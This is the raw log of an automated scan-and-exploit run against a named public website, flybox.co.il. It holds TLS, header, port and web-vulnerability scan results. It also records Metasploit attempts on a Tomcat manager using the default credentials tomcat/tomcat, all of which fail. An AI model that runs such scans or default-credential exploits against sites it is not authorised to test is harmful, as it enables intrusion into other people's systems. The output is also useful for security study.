                              ipaytoko.tk iperfectmarket.tk ismartxpress.tk
                              jsmartonlineshop.tk jtopcharts.tk lalliexpress.tk
                              lpayperclick.tk lpremiumonlineshop.tk
                              onlinekanyakumari.com osmartbuyer.tk
                              pawesomemarket.tk pbelimudah.tk
                              rlinkaliexpress.tk rnesaliexpress.tk
                              samriddle.website snapcracka.us
                              stokoonlinemurah.tk taeaj.tk techxpertsllc.com
                              vbrs.co.uk wholesaleonline114.tk
                              wholesaleonline4.tk wholesaleonline55.tk
                              wittcatt.stream 
 Issuer                       COMODO ECC Domain Validation Secure Server CA 2 (COMODO CA Limited from GB)
 Trust (hostname)             Ok via SAN (SNI mandatory)
 Chain of trust               Ok   
 EV cert (experimental)       no
 Certificate Expiration       176 >= 60 days (2017-12-16 19:00 --> 2018-06-25 19:59 -0400)
 # of certificates provided   3
 Certificate Revocation List  http://crl.comodoca4.com/COMODOECCDomainValidationSecureServerCA2.crl
 OCSP URI                     http://ocsp.comodoca4.com
 OCSP stapling                offered
 OCSP must staple             no
 DNS CAA RR (experimental)    not offered
 Certificate Transparency     yes (TLS extension)


 Testing HTTP header response @ "/" 

 HTTP Status Code             301 Moved Permanently, redirecting to "https://www.flybox.co.il/"
 HTTP clock skew              0 sec from localtime
 Strict Transport Security    --
 Public Key Pinning           --
 Server banner                cloudflare
 Application banner           X-Powered-By(B: PHP/7(B.0(B.1(B3(B
 Cookie(s)                    3 issued: NONE secure, 1/3 HttpOnly -- maybe better try target URL of 30x
 Security headers             --
 Reverse Proxy banner         --


 Testing vulnerabilities 

 Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension
 CCS (CVE-2014-0224)                       not vulnerable (OK)
 Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK), no session tickets
 ROBOT                                     Server does not support any cipher suites that use RSA key transport
 Secure Renegotiation (CVE-2009-3555)      not vulnerable (OK)
 Secure Client-Initiated Renegotiation     not vulnerable (OK)
 CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)
 BREACH (CVE-2013-3587)                    no HTTP compression (OK)  - only supplied "/" tested
 POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)
 TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)
 SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)
 FREAK (CVE-2015-0204)                     not vulnerable (OK)
 DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)
                                           no RSA certificate, thus certificate can't be used with SSLv2 elsewhere
 LOGJAM (CVE-2015-4000), experimental      not vulnerable (OK): no DH EXPORT ciphers, no DH key detected
 BEAST (CVE-2011-3389)                     TLS1: ECDHE-ECDSA-AES128-SHA
                                                 ECDHE-ECDSA-AES256-SHA 
                                           VULNERABLE -- but also supports higher protocols (possible mitigation): TLSv1.1 TLSv1.2
 LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS
 RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)


 Testing 364 ciphers via OpenSSL plus sockets against the server, ordered by encryption strength 

Hexcode  Cipher Suite Name (OpenSSL)       KeyExch.   Encryption  Bits     Cipher Suite Name (RFC)
-----------------------------------------------------------------------------------------------------------------------------
 x1302   TLS13-AES-256-GCM-SHA384          ECDH 253   AESGCM      256      TLS_AES_256_GCM_SHA384
 xcc14   ECDHE-ECDSA-CHACHA20-POLY1305-OLD ECDH 256   ChaCha20    256      TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256_OLD
 xc02c   ECDHE-ECDSA-AES256-GCM-SHA384     ECDH 256   AESGCM      256      TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
 xc024   ECDHE-ECDSA-AES256-SHA384         ECDH 256   AES         256      TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
 xc00a   ECDHE-ECDSA-AES256-SHA            ECDH 256   AES         256      TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
 xcca9   ECDHE-ECDSA-CHACHA20-POLY1305     ECDH 253   ChaCha20    256      TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
 x1301   TLS13-AES-128-GCM-SHA256          ECDH 253   AESGCM      128      TLS_AES_128_GCM_SHA256
 xc02b   ECDHE-ECDSA-AES128-GCM-SHA256     ECDH 256   AESGCM      128      TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
 xc023   ECDHE-ECDSA-AES128-SHA256         ECDH 256   AES         128      TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
 xc009   ECDHE-ECDSA-AES128-SHA            ECDH 256   AES         128      TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA


 Running client simulations via sockets 

 Android 2.3.7                No connection
 Android 4.1.1                TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Android 4.3                  TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Android 4.4.2                TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Android 5.0.0                TLSv1.2 ECDHE-ECDSA-CHACHA20-POLY1305-OLD, 256 bit ECDH (P-256)
 Android 6.0                  TLSv1.2 ECDHE-ECDSA-CHACHA20-POLY1305-OLD, 256 bit ECDH (P-256)
 Android 7.0                  TLSv1.2 ECDHE-ECDSA-CHACHA20-POLY1305, 253 bit ECDH (X25519)
 Chrome 51 Win 7              TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 253 bit ECDH (X25519)
 Chrome 57 Win 7              TLSv1.3 TLS13-AES-128-GCM-SHA256, 253 bit ECDH (X25519)
 Firefox 49 Win 7             TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Firefox 53 Win 7             TLSv1.3 TLS13-AES-128-GCM-SHA256, 253 bit ECDH (X25519)
 IE 6 XP                      No connection
 IE 7 Vista                   TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 IE 8 XP                      No connection
 IE 8 Win 7                   TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 IE 11 Win 7                  TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 IE 11 Win 8.1                TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 IE 11 Win Phone 8.1 Update   TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 IE 11 Win 10                 TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Edge 13 Win 10               TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Edge 13 Win Phone 10         TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Opera 17 Win 7               TLSv1.2 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Safari 5.1.9 OS X 10.6.8     TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Safari 7 iOS 7.1             TLSv1.2 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Safari 9 OS X 10.11          TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Safari 10 OS X 10.12         TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Apple ATS 9 iOS 9            TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Tor 17.0.9 Win 7             TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Java 6u45                    No connection
 Java 7u25                    TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Java 8u31                    TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 OpenSSL 1.0.1l               TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 OpenSSL 1.0.2e               TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)

 Done 2017-12-31 05:28:17 [ 495s] -->> 104.31.74.239:443 (flybox.co.il) <<--

-----------------------------------------------------
Done testing now all IP addresses (on port 443): 104.31.75.239 104.31.74.239


 ███▄ ▄███▓ ▄▄▄        ██████   ██████  ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄ 
▓██▒▀█▀ ██▒▒████▄    ▒██    ▒ ▒██    ▒ ▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▓██    ▓██░▒██  ▀█▄  ░ ▓██▄   ░ ▓██▄   ▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
▒██    ▒██ ░██▄▄▄▄██   ▒   ██▒  ▒   ██▒▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
▒██▒   ░██▒ ▓█   ▓██▒▒██████▒▒▒██████▒▒░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ 
░ ▒░   ░  ░ ▒▒   ▓▒█░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒ 
░  ░      ░  ▒   ▒▒ ░░ ░▒  ░ ░░ ░▒  ░ ░▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒ 
░      ░     ░   ▒   ░  ░  ░  ░  ░  ░   ░    ░   ░ ░      ░      ░    ░ ░  ░ 
       ░         ░  ░      ░        ░   ░          ░  ░   ░  ░   ░  ░   ░    
                                             ░                        ░      
+ -- --=[MÄŚŚBĻËËĐ V20160303 BÅž 1Ņ3 @ ĊŖÖŎĐŚȞÏËĻĐ - https://crowdshield.com
+ -- --=[Scan Complete!
 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on flybox.co.il... 

+ -- --=[Checking if X-Frame options are enabled on flybox.co.il... 

+ -- --=[Checking if X-XSS-Protection header is enabled on flybox.co.il... 

+ -- --=[Checking HTTP methods on flybox.co.il... 

+ -- --=[Checking if TRACE method is enabled on flybox.co.il... 

+ -- --=[Checking for META tags on flybox.co.il... 

+ -- --=[Checking for open proxy on flybox.co.il... 

+ -- --=[Enumerating software on flybox.co.il... 
x-powered-by: PHP/7.0.13
set-cookie: PHPSESSID=g357t8tsdioj6o4cv8kvsij2f4; expires=Thu, 14-Sep-2023 18:24:10 GMT; Max-Age=180000000; path=/
server: cloudflare

+ -- --=[Checking if Strict-Transport-Security is enabled on flybox.co.il... 

+ -- --=[Checking for Flash cross-domain policy on flybox.co.il... 

+ -- --=[Checking for Silverlight cross-domain policy on flybox.co.il... 

+ -- --=[Checking for HTML5 cross-origin resource sharing on flybox.co.il... 

+ -- --=[Retrieving robots.txt on flybox.co.il... 
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

+ -- --=[Retrieving sitemap.xml on flybox.co.il... 

+ -- --=[Checking cookie attributes on flybox.co.il... 
set-cookie: __cfduid=d3aaf1e2b31c05c61168ba247f638c7a61514716107; expires=Mon, 31-Dec-18 10:28:27 GMT; path=/; domain=.flybox.co.il; HttpOnly
set-cookie: PHPSESSID=sbq77vcrt38t8vklj1ld90liu3; expires=Thu, 14-Sep-2023 18:24:15 GMT; Max-Age=180000000; path=/
set-cookie: qtrans_front_language=he; expires=Mon, 31-Dec-2018 10:24:15 GMT; Max-Age=31536000; path=/

+ -- --=[Checking for ASP.NET Detailed Errors on flybox.co.il... 
          jQuery("input#footernewsletter").removeClass("error")
    jQuery("input#footernewsletter").addClass("error")
            if( returned_data.result == 'error' ) {
<body class="rtl error404">


 + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          104.31.75.239
+ Target Hostname:    flybox.co.il
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /OU=Domain Control Validated/OU=PositiveSSL Multi-Domain/CN=sni165065.cloudflaressl.com
                   Ciphers:  ECDHE-ECDSA-CHACHA20-POLY1305
                   Issuer:   /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO ECC Domain Validation Secure Server CA 2
+ Start Time:         2017-12-31 05:28:31 (GMT-5)
---------------------------------------------------------------------------
+ Server: cloudflare
+ Cookie __cfduid created without the secure flag
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'cf-ray' found, with contents: 3d5c8d721bb70eeb-EWR
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Hostname 'flybox.co.il' does not match certificate's names: sni165065.cloudflaressl.com
+ Scan terminated:  20 error(s) and 6 item(s) reported on remote host
+ End Time:           2017-12-31 05:29:19 (GMT-5) (48 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
 + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
[+] Screenshot saved to /usr/share/sniper/loot/screenshots/flybox.co.il-port443.jpg
 + -- --=[Port 445 closed... skipping.
 + -- --=[Port 512 closed... skipping.
 + -- --=[Port 513 closed... skipping.
 + -- --=[Port 514 closed... skipping.
 + -- --=[Port 623 closed... skipping.
 + -- --=[Port 624 closed... skipping.
 + -- --=[Port 1099 closed... skipping.
 + -- --=[Port 1433 closed... skipping.
 + -- --=[Port 2049 closed... skipping.
 + -- --=[Port 2121 closed... skipping.
 + -- --=[Port 3306 closed... skipping.
 + -- --=[Port 3310 closed... skipping.
 + -- --=[Port 3128 closed... skipping.
 + -- --=[Port 3389 closed... skipping.
 + -- --=[Port 3632 closed... skipping.
 + -- --=[Port 4443 closed... skipping.
 + -- --=[Port 5432 closed... skipping.
 + -- --=[Port 5800 closed... skipping.
 + -- --=[Port 5900 closed... skipping.
 + -- --=[Port 5984 closed... skipping.
 + -- --=[Port 6000 closed... skipping.
 + -- --=[Port 6667 closed... skipping.
 + -- --=[Port 8000 closed... skipping.
 + -- --=[Port 8100 closed... skipping.
 + -- --=[Port 8080 opened... running tests...

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://flybox.co.il:8080
The site http://flybox.co.il:8080 is behind a CloudFlare
Number of requests: 1

http://flybox.co.il:8080 [523 Unassigned] CloudFlare, Cookies[__cfduid,cf_ob_info,cf_use_ob], Country[UNITED STATES][US], HTML5, HTTPServer[cloudflare], HttpOnly[__cfduid], IP[104.31.75.239], JQuery, Script[text/javascript], Title[flybox.co.il | 523: Origin is unreachable], UncommonHeaders[cf-ray], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=Edge]


	__  ______ _____ 
	\ \/ / ___|_   _|
	 \  /\___ \ | |  
	 /  \ ___) || |  
	/_/\_|____/ |_|  

+ -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
+ -- --=[Target: flybox.co.il:8080
+ -- --=[Site not vulnerable to Cross-Site Tracing!
+ -- --=[Site not vulnerable to Host Header Injection!
+ -- --=[Site not vulnerable to Cross-Frame Scripting!
+ -- --=[Site not vulnerable to Clickjacking!

HTTP/1.1 405 Not Allowed
Date: Sun, 31 Dec 2017 10:29:55 GMT
Content-Type: text/html
Content-Length: 177
Connection: close
Server: cloudflare-nginx
CF-RAY: -

<html>
<head><title>405 Not Allowed</title></head>
<body bgcolor="white">
<center><h1>405 Not Allowed</h1></center>
<hr><center>cloudflare-nginx</center>
</body>
</html>

HTTP/1.1 523 Origin Unreachable
Date: Sun, 31 Dec 2017 10:29:56 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d23ab0e266a46bb002f6d1ad600a8e45e1514716196; expires=Mon, 31-Dec-18 10:29:56 GMT; path=/; domain=.flybox.co.il; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: cf_use_ob=8080; expires=Sun, 31-Dec-17 10:30:26 GMT; path=/
Set-Cookie: cf_ob_info=523:3d5c8f82b55969a6:CDG; expires=Sun, 31-Dec-17 10:30:26 GMT; path=/
Server: cloudflare
CF-RAY: 3d5c8f82b55969a6-CDG

1614
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
<!--[if IE 7]>    <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
<!--[if IE 8]>    <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
<head>
<meta 


Version: 1.11.10-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Testing SSL server flybox.co.il on port 8080 using SNI name flybox.co.il

  TLS Fallback SCSV:
Server does not support TLS Fallback SCSV

  TLS renegotiation:
Session renegotiation not supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
 ███▄ ▄███▓ ▄▄▄        ██████   ██████  ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄ 
▓██▒▀█▀ ██▒▒████▄    ▒██    ▒ ▒██    ▒ ▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▓██    ▓██░▒██  ▀█▄  ░ ▓██▄   ░ ▓██▄   ▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
▒██    ▒██ ░██▄▄▄▄██   ▒   ██▒  ▒   ██▒▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
▒██▒   ░██▒ ▓█   ▓██▒▒██████▒▒▒██████▒▒░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ 
░ ▒░   ░  ░ ▒▒   ▓▒█░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒ 
░  ░      ░  ▒   ▒▒ ░░ ░▒  ░ ░░ ░▒  ░ ░▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒ 
░      ░     ░   ▒   ░  ░  ░  ░  ░  ░   ░    ░   ░ ░      ░      ░    ░ ░  ░ 
       ░         ░  ░      ░        ░   ░          ░  ░   ░  ░   ░  ░   ░    
                                             ░                        ░      
+ -- --=[MÄŚŚBĻËËĐ V20160303 BÅž 1Ņ3 @ ĊŖÖŎĐŚȞÏËĻĐ - https://crowdshield.com
+ -- --=[Scan Complete!
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          104.31.75.239
+ Target Hostname:    flybox.co.il
+ Target Port:        8080
+ Start Time:         2017-12-31 05:29:58 (GMT-5)
---------------------------------------------------------------------------
+ Server: cloudflare
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'cf-ray' found, with contents: 3d5c8f9133b91043-CDG
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Server banner has changed from 'cloudflare' to 'cloudflare-nginx' which may suggest a WAF, load balancer or proxy is in place
+ Scan terminated:  17 error(s) and 3 item(s) reported on remote host
+ End Time:           2017-12-31 07:29:00 (GMT-5) (7142 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-31 07:29 EST
Nmap scan report for flybox.co.il (104.31.75.239)
Host is up (2.8s latency).
Other addresses for flybox.co.il (not scanned): 2400:cb00:2048:1::681f:4aef 2400:cb00:2048:1::681f:4bef 104.31.74.239

PORT     STATE    SERVICE    VERSION
8080/tcp filtered http-proxy
Too many fingerprints match this host to give specific OS details
Network Distance: 9 hops

TRACEROUTE (using proto 1/icmp)
HOP RTT        ADDRESS
1   2780.34 ms 10.13.0.1
2   2794.33 ms 37.187.24.253
3   2787.36 ms 10.50.225.60
4   2790.85 ms 10.17.129.42
5   2783.87 ms 10.73.0.54
6   ...
7   2801.39 ms be100-1110.th2-1-a9.fr.eu (213.186.32.215)
8   ...
9   2799.89 ms 104.31.75.239

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.58 seconds

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ccccccccc.................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       .................ccccccccc
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


       =[ metasploit v4.16.26-dev                         ]
+ -- --=[ 1714 exploits - 975 auxiliary - 300 post        ]
+ -- --=[ 507 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOST => flybox.co.il
[-] WAR file not found
[*] Auxiliary module execution completed
RHOSTS => flybox.co.il
[!] RHOST is not a valid option for this module. Did you mean RHOSTS?
RHOST => flybox.co.il
RPORT => 8080
[*] Scanned 1 of 4 hosts (25% complete)
[*] Scanned 2 of 4 hosts (50% complete)
[*] Scanned 3 of 4 hosts (75% complete)
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
[*] Attempting to connect to 2400:cb00:2048:1::681f:4aef:8080
[+] No File(s) found
[*] Scanned 1 of 4 hosts (25% complete)
[*] Attempting to connect to 2400:cb00:2048:1::681f:4bef:8080
[+] No File(s) found
[*] Scanned 2 of 4 hosts (50% complete)
[*] Attempting to connect to 104.31.75.239:8080
[+] No File(s) found
[*] Scanned 3 of 4 hosts (75% complete)
[*] Attempting to connect to 104.31.74.239:8080
[+] No File(s) found
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
[*] http://[2400:cb00:2048:1::681f:4aef]:8080/admin/j_security_check - Checking j_security_check...
[*] http://[2400:cb00:2048:1::681f:4aef]:8080/admin/j_security_check - Server returned: 403
[-] http://[2400:cb00:2048:1::681f:4aef]:8080/admin/j_security_check - Unable to enumerate users with this URI
[*] Scanned 1 of 4 hosts (25% complete)
[*] http://[2400:cb00:2048:1::681f:4bef]:8080/admin/j_security_check - Checking j_security_check...
[*] http://[2400:cb00:2048:1::681f:4bef]:8080/admin/j_security_check - Server returned: 403
[-] http://[2400:cb00:2048:1::681f:4bef]:8080/admin/j_security_check - Unable to enumerate users with this URI
[*] Scanned 2 of 4 hosts (50% complete)
[*] http://104.31.75.239:8080/admin/j_security_check - Checking j_security_check...
[*] Scanned 3 of 4 hosts (75% complete)
[*] http://104.31.74.239:8080/admin/j_security_check - Checking j_security_check...
[-] http://104.31.74.239:8080/admin/j_security_check - Unable to enumerate users with this URI
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
[-] http://2400:cb00:2048:1::681f:4aef:8080 - Authorization not requested
[*] Scanned 1 of 4 hosts (25% complete)
[-] http://2400:cb00:2048:1::681f:4bef:8080 - Authorization not requested
[*] Scanned 2 of 4 hosts (50% complete)
[-] http://104.31.75.239:8080/manager/html - No response
[*] Scanned 3 of 4 hosts (75% complete)
[-] http://104.31.74.239:8080/manager/html - No response
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
[-] Exploit aborted due to failure: not-found: The target server fingerprint "cloudflare-nginx ( 403-Forbidden )" does not match "(?-mix:Apache.*(Coyote|Tomcat))", use 'set FingerprintCheck false' to disable this check.
[*] Exploit completed, but no session was created.
USERNAME => tomcat
PASSWORD => tomcat
[-] Exploit aborted due to failure: not-found: The target server fingerprint "cloudflare-nginx ( 403-Forbidden )" does not match "(?-mix:Apache.*(Coyote|Tomcat))", use 'set FingerprintCheck false' to disable this check.
[*] Exploit completed, but no session was created.
 + -- --=[Port 8180 closed... skipping.
 + -- --=[Port 8443 opened... running tests...

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://flybox.co.il:8443
The site http://flybox.co.il:8443 is behind a CloudFlare
Number of requests: 1

http://flybox.co.il:8443 [400 Bad Request] CloudFlare, Country[UNITED STATES][US], HTTPServer[cloudflare-nginx], IP[104.31.74.239], Title[400 The plain HTTP request was sent to HTTPS port], UncommonHeaders[cf-ray]


	__  ______ _____ 
	\ \/ / ___|_   _|
	 \  /\___ \ | |  
	 /  \ ___) || |  
	/_/\_|____/ |_|  

+ -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
+ -- --=[Target: flybox.co.il:8443
Version: 1.11.10-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Testing SSL server flybox.co.il on port 8443 using SNI name flybox.co.il

  TLS Fallback SCSV:
Server does not support TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.2  256 bits  ECDHE-ECDSA-CHACHA20-POLY1305 Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-GCM-SHA256 Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-SHA        Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-SHA256     Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-GCM-SHA384 Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-SHA        Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-SHA384     Curve P-256 DHE 256
Preferred TLSv1.1  128 bits  ECDHE-ECDSA-AES128-SHA        Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  ECDHE-ECDSA-AES256-SHA        Curve P-256 DHE 256
Preferred TLSv1.0  128 bits  ECDHE-ECDSA-AES128-SHA        Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  ECDHE-ECDSA-AES256-SHA        Curve P-256 DHE 256

  SSL Certificate:
Signature Algorithm: ecdsa-with-SHA256
Subject:  sni165065.cloudflaressl.com
Altnames: DNS:sni165065.cloudflaressl.com, DNS:*.aonlineorder.tk, DNS:*.bestproductthisyear.tk, DNS:*.bigsale135store.tk, DNS:*.bigsale171store.tk, DNS:*.bigsale215store.tk, DNS:*.bigsale248store.tk, DNS:*.bigsale281store.tk, DNS:*.bjfhiu.tk, DNS:*.bsmartbuyer.tk, DNS:*.bsmartonlineshop.tk, DNS:*.btokoonlinemurah.tk, DNS:*.budgettrouwfilm.nl, DNS:*.dbranded.tk, DNS:*.eawesomemarket.tk, DNS:*.emmom.tk, DNS:*.flybox.co.il, DNS:*.fmarketplus.tk, DNS:*.ftopbuy.tk, DNS:*.h1xv9oacp.ga, DNS:*.ialliexpress.tk, DNS:*.iowist.com, DNS:*.ipaytoko.tk, DNS:*.iperfectmarket.tk, DNS:*.ismartxpress.tk, DNS:*.jsmartonlineshop.tk, DNS:*.jtopcharts.tk, DNS:*.lalliexpress.tk, DNS:*.lpayperclick.tk, DNS:*.lpremiumonlineshop.tk, DNS:*.onlinekanyakumari.com, DNS:*.osmartbuyer.tk, DNS:*.pawesomemarket.tk, DNS:*.pbelimudah.tk, DNS:*.rlinkaliexpress.tk, DNS:*.rnesaliexpress.tk, DNS:*.samriddle.website, DNS:*.snapcracka.us, DNS:*.stokoonlinemurah.tk, DNS:*.taeaj.tk, DNS:*.techxpertsllc.com, DNS:*.vbrs.co.uk, DNS:*.wholesaleonline114.tk, DNS:*.wholesaleonline4.tk, DNS:*.wholesaleonline55.tk, DNS:*.wittcatt.stream, DNS:aonlineorder.tk, DNS:bestproductthisyear.tk, DNS:bigsale135store.tk, DNS:bigsale171store.tk, 